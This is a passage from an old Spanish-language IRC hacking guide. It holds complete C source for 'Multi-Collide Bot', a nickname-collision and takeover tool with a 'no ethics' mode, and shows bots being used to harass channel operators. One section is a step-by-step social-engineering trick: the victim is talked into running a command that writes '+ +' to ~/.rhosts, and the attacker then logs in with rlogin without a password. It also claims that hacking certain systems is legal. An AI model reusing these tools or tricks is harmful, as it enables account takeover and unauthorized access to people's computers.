if(FD_ISSET(sock,&wr)) { init_server(); continue; } else { if(x++>=TIMEOUT) exit_program("connection timed out"); fprintf(stderr,"."); fflush(stderr); } } if(FD_ISSET(sock,&rd)) { int length=read(sock,ins,BUFSIZE-(ins-in)); if(length<1) { if(session!=INPROGRESS) { if(!errno) { fputs("Connection closed by foreign host.",stderr); errno=ENOTCONN; } else fprintf(stderr,"Connection to %s closed.\n", inet_ntoa(server.sin_addr)); fflush(stderr); } exit_program(mystrerror(errno)); } if(strpbrk(in,"\x0a\x0d")) parse(length); else ins=(BUFSIZE-((ins+length)-in)<1)?in:ins+length; } } } char *stamp(time_t ltime) { strftime(lasttime, 81, "%x %X", localtime(<ime)); return (char *) &lasttime; } void main(int argc,char *argv[]) { unsigned short int sport=PORT; unsigned int loop; struct passwd *passent; fprintf(stderr, "Link Looker v%s, written and designed by Dr. Delete.\n" \ " Enhanced by lilo.\n" \ "Type '%s -h' or '%s --help' for more information.\n\n", VERSION, argv[0], argv[0]); for(loop=1; loop [[:] ['' " \ "[]]]]\n\n where:\n\n" \ " is the nickname to be used (default is userid),\n" \ " is the hostname of the server to be used,\n" \ " is a four digit port number (default is 6667),\n" \ " is a description of the user (default is gecos info), and\n" \ " is the user account field, used only if identd\n" \ " has not been enabled on the user's system.\n", \ argv[0]); exit(1); } } passent=getpwuid(getuid()); if(argc>1) strncpy(nick,argv[1],9); else strncpy(nick,passent->pw_name,9); if(argc>2) { char *port=strchr(argv[2],':'); sport=(port)?atoi(port+1):sport; strncpy(serverhost,argv[2],80); if(port) serverhost[port-argv[2]]=(char)0; } else strncpy(serverhost,SERVER,80); if(argc>3) strncpy(realname,argv[3],80); else { char *comma=strchr(passent->pw_gecos,','); strncpy(realname,passent->pw_gecos,80); if(comma) realname[comma-(passent->pw_gecos)]=(char)0; } if(argc>4) strncpy(user,argv[4],9); else strncpy(user,passent->pw_name,9); signal(SIGPIPE,(void (*)())signal_handler); signal(SIGHUP,(void (*)())show_split); signal(SIGINT,(void (*)())signal_handler); signal(SIGTERM,(void (*)())signal_handler); signal(SIGBUS,(void (*)())signal_handler); signal(SIGABRT,(void (*)())signal_handler); signal(SIGSEGV,(void (*)())signal_handler); signal(SIGALRM,(void (*)())signal_alarm); errno=0; if((sock=socket(AF_INET,SOCK_STREAM,0))>0) { server.sin_family=AF_INET; server.sin_port=htons(sport); fprintf(stderr,"Resolving %s...",serverhost); fflush(stderr); if((server.sin_addr.s_addr=resolver(serverhost))) { fputs("done\n",stderr); fflush(stderr); setsockopt(sock,SOL_SOCKET,SO_LINGER,0,0); setsockopt(sock,SOL_SOCKET,SO_REUSEADDR,0,0); setsockopt(sock,SOL_SOCKET,SO_KEEPALIVE,0,0); fcntl(sock,F_SETFL,(fcntl(sock,F_GETFL)|O_NDELAY)); fprintf(stderr,"Connecting to %s...",inet_ntoa(server.sin_addr)); fflush(stderr); errno=0; if(connect(sock,(struct sockaddr *)&server,sizeof(server))) { if(errno!=EINPROGRESS && errno!=EWOULDBLOCK) exit_program(mystrerror(errno)); else session=INPROGRESS; } else init_server(); gethostname(hostname,64); process_server(); } else exit_program("resolve failed"); } else { fprintf(stderr,"Failed to allocate an AF_INET socket. (%s)\n", \ mystrerror(errno)); fflush(stderr); } } ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 12 - Nuestro propio BOT . En este apartado explicaremos y os damos al codigo fuente de uno , pero por supuesto que esta en ingles y en C para unix :) Como te habras dado cuenta casi siempre esta en ingles , desgraciadamente esto es asi ya que nos llevan ventaja y ademas en espa¤ol encontrar algo es realmente dificil , pero para ello estoy creando esta guia y que sea casi siempre para unix , es natural es el mejor s.o. que se puede encontrar e internet se mueve gracias a el . Bueno basta de rollos , empezamos esta seccion , ¨ quieres saber que es un BOT ? , bueno , pues basicamente consiste en que podamos meter en el servidor varias personas aunque en la practica sola haya una manejandolas o sea nosotros . Pues esto tiene varios usos , como cada bot que metamos le podemos meter un nick , pues podemos meternos en un canal con tres bot por ejemplo , llamados bot1 , bot2 , bot3 , ya estamos dentro , vemos a un OP que sabemos que es un estupido , y por ejemplo con el bot2 le insultamos y luego le intentamos joder , el lo mas seguro es que heche al bot2 pero todavia en el canal tendremos a bot1 y bot3 , para seguir hablando y el OP solo cojera mania al bot2 :) Tambien podemos crear un canal y metenos varios bot en el y parecera que hay varias personas dentro y con el tiempo ya vendra gente . Aunque los bot tiene mas usos , no los voy a declarar todos aqui :) Tened cuidado cuando jugueis con el bot ya que os puede pillar ese OP que intentas joder o el servidor os puede hechar si os pilla usando bot . - > Codigo fuente de nuestro BOT . /*==========================================================*\ || mcb.c - Multi-Collide Bot v2.0 (beta) || || Written by Dr_Delete || || Released for the world to use on 11/15/94 || || Modified a tiny bit by Vassago for use with Serpent 3.06 || \*==========================================================*/ /* This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */ /* Compiling examples: regular old ANSI/C cc: cc -O -s -o mcb mcb.c HP-UX cc: cc +O3 -Aa -s -DHPSUCKS -o mcb mcb.c GNU GCC: Linux: gcc -O2 -fomit-frame-pointer -funroll-loops -m486 -s -Wall -o mcb mcb.c BSD, SunOS 4.1.x, Slowaris 2.x, NeXT: gcc -O2 -funroll-loops -s -Wall -o mcb mcb.c */ /* -------------------------------------------------------- *\ To kill this program once it has started, send a kill -2 to it's process ID and it'll exit gracefully. kill -1 will cause mcb to display a list of it's active sessions to stdout. \* -------------------------------------------------------- */ /* You may want to tweak some of these defaults, but they are controllable on the command line. */ /* Time in which parser will close a pending TCP connection, and possibly try again */ #define TCP_TIMEOUT 30 /* Number of times a session is allowed to attempt a TCP connection to the server. */ #define MAX_ATTEMPTS 2 /* Number of seconds the parser will wait for a server to start once the TCP connection has been made */ #define SRV_TIMEOUT 60 /* Maximum amount of time parser will wait for I/O */ #define MAX_WAITIO 15 /* Maximum amount of time the parser will wait when in NOMULTI mode */ #define MAX_WAITIONM 5 /* Max lines (NICK statements) to send to the server in NOMULTI mode */ #define MAX_NICKS 5 /* Default IRC server port */ #define IRCPORT 6667 /* number of bytes to allocate for socket read buffer */ #define BUFSIZE 400 #ifdef HPSUCKS #define _INCLUDE_HPUX_SOURCE #define _INCLUDE_XOPEN_SOURCE #define _INCLUDE_POSIX_SOURCE #endif #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifndef sys_errlist extern char *sys_errlist[]; #endif #ifndef errno extern int errno; #endif /* global variables */ unsigned short int tcp_timeout=TCP_TIMEOUT; unsigned short int max_attempts=MAX_ATTEMPTS; unsigned short int srv_timeout=SRV_TIMEOUT; unsigned short int max_waitionm=MAX_WAITIONM; unsigned short int max_nicks=MAX_NICKS; unsigned short int progmode=0; char *output_buffer=(char *)0; char mcbid[25],mcbhost[64]; struct in_addr mcb_addr; #define PROG_DEBUG 1 #define PROG_VERBOSE 2 #define PROG_NOETHICS 4 #define PROG_NOMULTI 8 #define PROG_HAVESERV 16 #define PROG_IGNORENIU 32 #define PROG_SHOWSOUT 64 struct collide_session { int sock; unsigned long int ip; unsigned short int status; unsigned short int port; unsigned short int connect_attempts; time_t tcpstart; time_t srvstart; char *server; char *token; char *victim; char *stack; char *stack_pointer; struct collide_session *next; } *first_session=(struct collide_session *)0; struct collide_session *last_session=(struct collide_session *)0; struct collide_session *active_session=(struct collide_session *)0; void do_ping(struct collide_session *,char *,char *); void do_001(struct collide_session *,char *,char *); void do_error(struct collide_session *,char *,char *); void do_433(struct collide_session *,char *,char *); void do_privmsg(struct collide_session *,char *,char *); struct parsers { char *cmd; void (*func)(struct collide_session *,char *,char *); } parsefuns[] = { { "PING", (void (*)())do_ping }, { "001", (void (*)())do_001 }, { "ERROR",(void (*)())do_error }, { "433", (void (*)())do_433 }, { "PRIVMSG", (void (*)())do_privmsg }, { (char *)0,(void (*)())0 } }; #define SES_ACTIVE 1 #define SES_INACTIVE 2 #define SES_DELETED 4 #define SES_PENDING 8 #define SES_SAWSERV 16 #define SES_NORETRY 32 #define SES_NICKINUSE 64 char * mystrerror(int err) { return(sys_errlist[err]); } void sig_pipe(void) { fprintf(stderr,"mcb: caught a SIGPIPE.\n"); fflush(stderr); signal(SIGPIPE,(void (*)())sig_pipe); } void show_sessions(void) { struct collide_session *s=first_session; signal(SIGHUP,(void (*)())show_sessions); for(;s;s=s->next) if(s->status & SES_ACTIVE) { printf("%s: Connection to %s:%hu active.\n",s->victim,s->server,s->port); fflush(stdout); } } void cclosed(struct collide_session *session,int errn) { if(session->sock) { shutdown(session->sock,0); close(session->sock); session->sock=0; printf("%s: Connection to %s:%hu closed. ",session->victim, session->server,session->port); if(errn) printf("[%s]\n",mystrerror(errn)); else puts(""); fflush(stdout); } if(progmode & PROG_NOMULTI) progmode &= ~PROG_HAVESERV; if((session->status & SES_DELETED) || (session->status & SES_NORETRY) || session->connect_attempts>=max_attempts) { if(progmode & PROG_DEBUG) { printf("%s: Session flagged for delete.\n",session->victim); fflush(stdout); } if(progmode & PROG_NOMULTI) { struct collide_session *s=first_session; for(;s;s=s->next) s->status |= SES_DELETED; } else session->status |= SES_DELETED; } else { session->status |= SES_INACTIVE; session->status &= ~SES_PENDING; session->status &= ~SES_ACTIVE; session->srvstart=session->tcpstart=(time_t)0; } } void exit_program(void) { if(output_buffer) free(output_buffer); while(first_session) { struct collide_session *cs=first_session->next; if(progmode & PROG_DEBUG) { printf("%s: Unallocating session.\n",first_session->victim); fflush(stdout); } if(first_session->sock) cclosed(first_session,ECONNABORTED); if(first_session->stack) free(first_session->stack); if(first_session->token) free(first_session->token); free(first_session); first_session=cs; } puts("Multi-CollideBot finished."); exit(0); } char *nickpick="NnOoPpQqRr`SsTtUuVvWwXxYyZzAaBb_CcDdEeFfGgHhIiJjKkLlMmLzgLmtm|m"; void fillran(char *string,unsigned short int length) { while(length--) *string++=*((nickpick)+(rand()%54)); *string=(char)0; } int mystrccmp(register char *s1,register char *s2) { while((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)== (((*s2)>='a'&&(*s2)<='z')?(*s2++)-32:*s2++)) if(*s1++==0) return 0; return (*(unsigned char *)s1-*(unsigned char *)--s2); } int mystrcmp(register char *s1,register char *s2) { unsigned short int n=9; do { if((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)!= ((((*s2-8))>='a'&&((*s2)-8)<='z')?(*s2++)-40:(*(s2++))-8)) return(*(unsigned char *)s1-*(unsigned char *)--s2); if(!*s1++) break; } while(--n); return(0); } int strnccmp(register char *s1,register char *s2,register int n) { if(n==0) return(0); do { if((((*s1)>='a'&&(*s1)<='z')?(*s1)-32:*s1)!=(((*s2)>='a'&&(*s2)<='z')? (*s2++)-32:*s2++)) return (*(unsigned char *)s1-*(unsigned char *)--s2); if(*s1++==0) break; } while(--n!=0); return(0); } char * mystrbpk(char *s) { char *o=s; while(*s) { if(*s==13 || *s==10) if(*(s+1)==78) *(s+6)=(!mystrcmp(s+6,nickpick+54))?84:*(s+6); s++; } return(o); } char * digtoken(char **string,char *match) { if(string && *string && **string) { while(**string && strchr(match,**string)) (*string)++; if(**string) { /* got something */ char *token=*string; if((*string=strpbrk(*string,match))) { *(*string)++=(char)0; while(**string && strchr(match,**string)) (*string)++; } else *string = ""; /* must be at the end */ return(token); } } return((char *)0); } char * mycstrstr(char *str1,char *str2) { int xstr1len,ystr2len; xstr1len=strlen(str1); ystr2len=strlen(str2); while(xstr1len && strnccmp(str1++,str2,ystr2len) && xstr1len-->=ystr2len); if(!xstr1len || xstr1lensock) return(write(session->sock,mystrbpk(string),strlen(string))); return(0); } unsigned long int resolver(char *host) { unsigned long int ip=0L; if(host && *host && (ip=inet_addr(host))==-1) { struct hostent *he; int x=0; if(progmode & PROG_VERBOSE) { printf("Resolving %s...",host); fflush(stdout); } while(!(he=gethostbyname((char *)host)) && x++<2) { if(progmode & PROG_VERBOSE) { putchar('.'); fflush(stdout); } sleep(1); } if(x<2) { ip=*(unsigned long *)he->h_addr_list[0]; if(progmode & PROG_VERBOSE) { struct in_addr serv_addr; serv_addr.s_addr=ip; printf("%s\n",inet_ntoa(serv_addr)); fflush(stdout); } } else { ip=0L; if(progmode & PROG_VERBOSE) { puts("failed"); fflush(stdout); } } } return(ip); } void version(void) { puts("Multi-CollideBot v2.0 (beta)\n" "Written by Dr. Delete 11/15/94"); fflush(stdout); } void help(void) { puts("Usage:\n" " mcb [-vdmun] [-rlit time] [-a attempts] serv1[:port] nick1 [...]\n" "Where: -v == verbose operation\n" " -d == debug output\n" " -n == no ethics - reconnects even after 'SCORE'. (nick takeover)\n" " -i == seconds to wait for IRC server to start after connection.\n" " -t == seconds to wait for a TCP connection to establish.\n" " -a == attempts a session can make to establish a TCP session.\n" " -m == METHOD 2: mcb will cycle through nicks on one TCP session.\n" " -r == Rate of nicknames to send per -l(oop) time. (only in -m mode)\n" " -l == Loop time. Causes mcb to send -r(ate) nicks in -l(oop) secs\n" " -u == Ignore 'Nick Already in Use.' (continue to retry)\n" " serv1 == first server specification and sets default server to use.\n" "Examples:\n" " mcb -t 30 server1.com nick1 nick2 nick3 server2.edu:6665 nick4\n" " mcb server1.com nick1 nick2 server2.edu nick3 nick4 server3.net server4.com\n" " mcb -vna 50 server.edu nicktotakeover\n" " mcb -m -l 3 -r 2 server.com nick1 nick2 nick3 nick4 nick5 nick6 nick7 ...\n" "Defaults:\n" " -a == 2 retries. (Retries are aborted if nick is in use, etc.)\n" " -i == 60 seconds. -t == 30 seconds. -l == 5 seconds. -r == 5 nicks."); exit(0); } void init_server(struct collide_session *s) { char rn[10]; unsigned long int x; fillran(rn,9); sprintf(s->stack,"USER %s %s %s %s\nNICK %s\n",rn,rn,rn,rn,(progmode & PROG_NOMULTI)?rn:s->token); x=strlen(s->stack); errno=0; if(out(s,s->stack)!=x) cclosed(s,errno); else { struct collide_session *ses=first_session; s->status &= ~SES_PENDING; s->status &= ~SES_INACTIVE; s->status |= SES_ACTIVE; printf("%s: Connection to %s:%hu established.\n", s->victim,s->server,s->port); s->srvstart=time(NULL); sprintf(s->stack,"mode %s +i\n"); for(;ses;ses=ses->next) sprintf(s->stack,"%s %s%s",s->stack,ses->token,(ses==s)?"*":""); strcat(s->stack,"\n"); out(s,s->stack); if(progmode & PROG_NOMULTI) progmode |= PROG_HAVESERV; fflush(stdout); } } void set_tcp_handler(void) { gethostname(mcbhost,64); mcb_addr.s_addr=resolver(mcbhost); if(!getlogin()) { struct passwd *pw; if(!(pw=getpwuid(getuid()))) if(!(getenv("USER"))) strcpy(mcbid,"unknown"); else strcpy(mcbid,getenv("USER")); else strcpy(mcbid,pw->pw_name); } else strcpy(mcbid,(char *)getlogin()); } void start_sessions(void) { struct collide_session *session=first_session; unsigned short int sessions=0; if(progmode & PROG_HAVESERV) return; for(;session;session=session->next) { if(progmode & PROG_DEBUG) { printf("%s: Attempting to start session.\n",session->victim); fflush(stdout); } if((session->status & SES_DELETED) || (session->status & SES_NORETRY)) continue; sessions++; if((session->status & SES_PENDING) || !(session->status & SES_INACTIVE)) continue; if((session->sock=socket(AF_INET,SOCK_STREAM,0))) { struct sockaddr_in server; server.sin_family=AF_INET; server.sin_addr.s_addr=session->ip; server.sin_port=htons(session->port); setsockopt(session->sock,SOL_SOCKET,SO_LINGER,0,0); setsockopt(session->sock,SOL_SOCKET,SO_REUSEADDR,0,0); setsockopt(session->sock,SOL_SOCKET,SO_KEEPALIVE,0,0); fcntl(session->sock,F_SETFL,(fcntl(session->sock,F_GETFL)|O_NDELAY)); errno=0; session->tcpstart=time(NULL); session->connect_attempts++; if(connect(session->sock,(struct sockaddr *)&server,sizeof(server))) { if(errno!=EINPROGRESS && errno!=EWOULDBLOCK) cclosed(session,errno); else { session->status |= SES_PENDING; if(progmode & PROG_VERBOSE) { printf("%s: Connection to %s:%hu is in progress.\n", session->victim,session->server,session->port); fflush(stdout); } } } else init_server(session); if(progmode & PROG_NOMULTI) { progmode |= PROG_HAVESERV; break; } } else { printf("%s: Fatal error allocating AF_INET socket.\n",session->victim); exit_program(); } } } struct collide_session * find_session(char *token) { struct collide_session *s=first_session; for(;s && mystrccmp(s->token,token);s=s->next); return(s); } unsigned short int check_sessions(void) { struct collide_session *s=first_session; unsigned short int x=0,y=0; for(;s;s=s->next) { x++; y+=(s->status & SES_NICKINUSE)?1:0; } return((y==x)); } void do_433(struct collide_session *session,char *from,char *left) { char *who; if((who=digtoken(&left," ")) && (who=digtoken(&left," "))) { if(progmode & PROG_HAVESERV) { /* multi-mode */ struct collide_session *s=find_session(who); if(s) { if(!(s->status & SES_NICKINUSE)) { printf("%s: '%s' Nickname already in use.\n",session->victim,who); fflush(stdout); } s->status |= SES_NICKINUSE; } if(check_sessions()) { strcpy(output_buffer,"QUIT ::-\n"); out(session,output_buffer); cclosed(session,0); } if(!(progmode & PROG_IGNORENIU)) session->status |= SES_NORETRY; } else { if(!(session->status & SES_NICKINUSE)) { printf("%s: '%s' Nickname already in use.\n",session->victim,who); fflush(stdout); } session->status |= SES_NICKINUSE; strcpy(output_buffer,"QUIT :bummer\n"); out(session,output_buffer); cclosed(session,0); if(!(progmode & PROG_IGNORENIU)) session->status |= SES_NORETRY; } } } void do_ping(struct collide_session *session,char *from,char *left) { sprintf(output_buffer,"PING :%s\n",mcbhost); out(session,output_buffer); } void do_001(struct collide_session *session,char *from,char *left) { session->status |= SES_SAWSERV; if(progmode & PROG_VERBOSE) { printf("%s: Logged into server %s.\n",session->victim,from); fflush(stdout); } } void do_privmsg(struct collide_session *session,char *from,char *left) { char *what; if((what=strchr(left,' '))) { *what=(char)0; what+=2; printf("%s: %s -> %s\n",session->victim,from,what); fflush(stdout); } } void do_error(struct collide_session *session,char *from,char *left) { if(mycstrstr(left,"kill") || mycstrstr(left,"collision")) { if(!(progmode & PROG_NOETHICS)) session->status |= SES_NORETRY; printf("%s: SCORE!\n",session->victim); } else { if(mycstrstr(left,"authoriz")) session->status |= SES_NORETRY; if(mycstrstr(left,"Bad pass")) session->status |= SES_NORETRY; else if(mycstrstr(left,"ghosts")) session->status |= SES_NORETRY; else if(mycstrstr(left,"k-line")) session->status |= SES_NORETRY; else if(mycstrstr(left,"kill")) session->status |= SES_NORETRY; printf("%s: %s\n",session->victim,left); } fflush(stdout); } void parse2(struct collide_session *session) { char *from,*cmd,*left,*ins=session->stack_pointer; if(progmode & PROG_SHOWSOUT) { printf("%s: %s\n",session->victim,ins); fflush(stdout); } if(*ins==':') { if(!(cmd=strchr(ins,' '))) return; *cmd++=(char)0; from=ins+1; } else { cmd=ins; from=(char *)0; } if((left=strchr(cmd,' '))) { unsigned short int command; *left++=(char)0; left=(*left==':') ? left+1 : left; for(command=0;parsefuns[command].cmd;command++) { if(!mystrccmp(parsefuns[command].cmd,cmd)) { parsefuns[command].func(session,from,left); break; } } } } void parse(struct collide_session *session,unsigned short int length) { char *s=session->stack; *(session->stack_pointer+length)=(char)0; for(;;) { session->stack_pointer=s; while(*s && *s!=(char)13 && *s!=(char)10) s++; if(*s) { while(*s && (*s==(char)13 || *s==(char)10)) *s++=(char)0; parse2(session); } else break; } strcpy(session->stack,session->stack_pointer); session->stack_pointer=session->stack+(s-session->stack_pointer); } struct collide_session * find_active_session(void) { struct collide_session *session=first_session; for(;session && !(session->status & SES_ACTIVE);session=session->next); return(session); } void parse_sessions(void) { fd_set rd,wr; struct collide_session *session; struct timeval timeout; time_t lastloop=(time_t)0; while(1) { unsigned short int sessions=0; FD_ZERO(&rd); FD_ZERO(&wr); timeout.tv_usec=0; timeout.tv_sec=(progmode & PROG_NOMULTI)?max_waitionm:MAX_WAITIO; for(session=first_session;session;session=session->next) { if(session->status & SES_DELETED) continue; if((session->status & SES_INACTIVE) && !(session->status & SES_PENDING) && !(session->status & SES_NORETRY) && !(progmode & PROG_HAVESERV)) { start_sessions(); timeout.tv_sec=0; break; } if(session->sock) { FD_SET(session->sock,&rd); if(session->status & SES_PENDING) FD_SET(session->sock,&wr); sessions++; } } if(!timeout.tv_sec) continue; if(!sessions) exit_program(); errno=0; #ifdef HPSUCKS select((size_t)FD_SETSIZE,(int *)&rd,(int *)&wr,(int *)0,(const struct timeval *)&timeout); #else select(getdtablesize(),(fd_set *)&rd,(fd_set *)&wr,(fd_set *)0,(struct timeval *)&timeout); #endif if(errno==EINTR) continue; for(session=first_session;session;session=session->next) { if(session->status & SES_DELETED) continue; if((session->status & SES_PENDING) && FD_ISSET(session->sock,&wr)) { init_server(session); continue; } if(FD_ISSET(session->sock,&rd)) { signed short int length; errno=0; length=read(session->sock,session->stack_pointer, BUFSIZE-(session->stack_pointer-session->stack)); if(length<1) { cclosed(session,errno); continue; } if(strpbrk(session->stack,"\x0a\x0d")) parse(session,length); else session->stack_pointer=(BUFSIZE-((session->stack_pointer+length) -session->stack)<1)?session->stack:session->stack_pointer+length; } if((session->status & SES_PENDING) && (time(NULL)-session->tcpstart)>=tcp_timeout) cclosed(session,ETIMEDOUT); if((session->status & SES_ACTIVE) && !(session->status & SES_SAWSERV) && (time(NULL)-session->srvstart)>=srv_timeout) cclosed(session,ETIMEDOUT); } if((!lastloop || (time(NULL)-lastloop)>max_waitionm) && (progmode & PROG_HAVESERV) && (active_session=find_active_session()) && (active_session->status & SES_SAWSERV)) { struct collide_session *s=(last_session)?last_session:first_session; unsigned short int nickcount=0; lastloop=time(NULL); while(nickcountstatus & SES_NICKINUSE)) { sprintf(out_buf,"NICK %s\n",s->token); x=strlen(out_buf); if(x!=out(active_session,out_buf)) break; if(progmode & PROG_DEBUG) { printf("%s: Touched nickname.\n",s->token); fflush(stdout); } nickcount++; } else if(check_sessions()) nickcount=max_nicks; s=(s->next)?s->next:first_session; } last_session=s; } } } void main(int argc,char *argv[]) { unsigned short int x=1; unsigned short int ircport=IRCPORT; unsigned long int defserv_octet=0L; char *defserv_char=(char *)0; char *defnick=(char *)0; struct collide_session *temp; version(); if(argc<3) help(); srand(getpid()); signal(SIGPIPE,(void (*)())sig_pipe); signal(SIGHUP,(void (*)())show_sessions); signal(SIGINT,(void (*)())exit_program); signal(SIGTERM,(void (*)())exit_program); signal(SIGBUS,(void (*)())exit_program); signal(SIGABRT,(void (*)())exit_program); signal(SIGSEGV,(void (*)())exit_program); set_tcp_handler(); output_buffer=(char *)malloc(BUFSIZE); for(;xtoken=(char *)0; cs->sock=0; cs->status=SES_INACTIVE; cs->connect_attempts=0; errno=0; cs->token=(char *)malloc(strlen(temptok)+1); strcpy(cs->token,temptok); cs->ip=defserv_octet; cs->port=ircport; cs->srvstart=cs->tcpstart=(time_t)0; cs->server=defserv_char; cs->victim=defnick; cs->stack_pointer=cs->stack=(char *)malloc(BUFSIZE); cs->next=first_session; first_session=cs; } } } if(progmode & PROG_NOMULTI) for(temp=first_session;temp;temp=temp->next) temp->victim="multi-collide"; start_sessions(); parse_sessions(); exit_program(); } ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 13 - Metiendo el .rhosts por el IRC . Aqui os vamos a contar una interesante tecnica , que se basa en una combiancion por parte nuestra : ingenieria social , irc , telnet y por supuesto el mundo unix :) Vale ya empiezo , que impaciente , joer !!! . Pues primero creamos un fichero .rhosts en el cual metenos algun nombre por exemplo nuestro nick de incursion :) El .rhosts en un fichero unix de control remoto para hacceder a otro sistema el cual no necesita un password y siempre se encuentra en el directorio HOME de cada usuario con permisos de lectura y escritura unicamente para el usuario . Cuando ya tengamos el fichero listo nos conectamos al IRC con algun nick un poco tonto para parecer que es la primera vez que lo hacemos , luego buscamos una victima que se mueva en unix , entonces hablamos con el , hacerle preguntas sobre como funciona el IRC y cosas por el estilo para que se crea que somos unos novatillos , cuando ya tengamos cierta confianza le decimos que tienes un comando que no hace nada aparentemente y le pedimos si nos puede ayudar ejecutandolo el :) Lo mas seguro es que se preste a ayudarnos y nos diga cual es el comando en cuestion , y le decimos que lo escriba . -> Comando que debe escribir la victima . . /EXEC echo "+ +" > ~/.rhosts Cuando la victima haya escrito esto , seguramente nos dira que a el tampoco le hace nada :) entonces nos despedimos y le damos las gracias por su ayuda . Dejamos el irc y nos dirigimos al prompt en unix y ejecutamos el comando rlogin con el sistema de la victima . -> Comando que hay que poner para acceder . . rlogin victima.com -l nuestro_nick Entonces accederemos al sistema de la victima sin password y nada :)) y con permisos de lectura y escritura , entonces solo nos queda movernos por el sistema aunque procurar no llamar la atencion ni hacer cosas raras o el admin os podia pillar :( ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 14 - Utilizacion de scripts . Los scripts , esas peque¤as grandes utilidades que nos ayudan en nuestros propositos :) Bueno que decir de ellos , ya casi todo el mundo usa uno aunque los hay de muchas variantes , del mas inocente hasta el mas perverso capaz de hacer maravillas , je je je Como hay tantos disponibles no me quiero enfocar en la utilizacion de uno en concreto , aunque la mayoria suelen ser muy parecidos , como por ejemplo : bannear , kick , mass-de-op , fserve y muchas mas opciones . Por lo que mejor sere que de unos consejos por si no sabes cual utilizar . -> Consejos en la utilizacion de scripts . . Procura siempre tener varios a mano o en tu HD ( disco duro :) . Los que mas ocupan por regla general suelen ser bastante buenos . . Procura siempre tener la ultima version . . Para empezar y conocerlo haz pruebas en el IRC con algun amigo , luego ya podras ajustar cuentas cuando sepas como funciona . . La RED esta lleno de estas utilidades , nuevete un poco y tu esfuerzo se vera recompensado . . Procura que sea bastante completo en opciones , consutalo con un colega sobre sus script y las opciones que tiene el . . Hay script en espa¤ol muy buenos , por si el ingles te falla ;-) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 15 - Informacion general . Pues lamento decirte que la guia ha llegado a su fin , espero que este esfuerzo haya servido de algo y la informacion aqui contenida te haya servido para algo . Pero espero que no uses esta guia solo para joder el projimo , ya que eso va encontra de la etica hacker . Por el momento no se preeve una nueva vesion de la guia , pero nunca se sabe , si aparece algo realmente interesante vere que se puede hacer . Desde aqui quiero agradecer a todos aquellos que han aportado su grano de arena sobre el HACKING en el IRC , revelando su informacion a la masa que desea conocer esto del hack y tambien a todos eso programadores que estan trabajando continuamente para sacar mejores progranas y script :) A TODOS ELLOS UN SALUDO ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 16 - -J.J.F. / HACKERS TEAM - . Que puedo decir de -JJF- , es un grupo de hackers de varias nacionalidades que se dedican eso , al HACKING , ya que creemos que la informacion desea ser libre y eso hacemos , pero jamas con malos fines o destruyendo sistemas ya que va encontra de la politica del grupo a no ser que sean sistemas con pornografia infatil , la cual aborrecemos y ajustamos las cuentas :) , ademas sabias que en cierto modo el legal hackear ordenadores con pornografia infantil ya que tambien es ilegal y no podras ser perseguido ya que seguro que ellos no se lo diran a las autoridades :)))) Yo soy el CONDE VAMPIRO , uno de sus primeros mienbros y lo mio es el hack y los virus , aunque lo que mas me gusta es la seguridad informatica . Si quieres ponerte encontacto conmigo para cualquier cosa abajo encontraras mi e-mail , pero no es el del grupo , lo siento pero es privado , y si me escribres para decirme chorradas olvidame :) Que conste que nosotros solo nos hemos dedicado a la recopilacion de la informacion y aportando lo que creiamos que faltaba para que sea algo tecnico y realmente util . -> Mi e-mail . conde_vampiro@usa.net - No manches la RED con pornografia infantil - CONDE VAMPIRO - J.J.F. / HACKERS TEAM -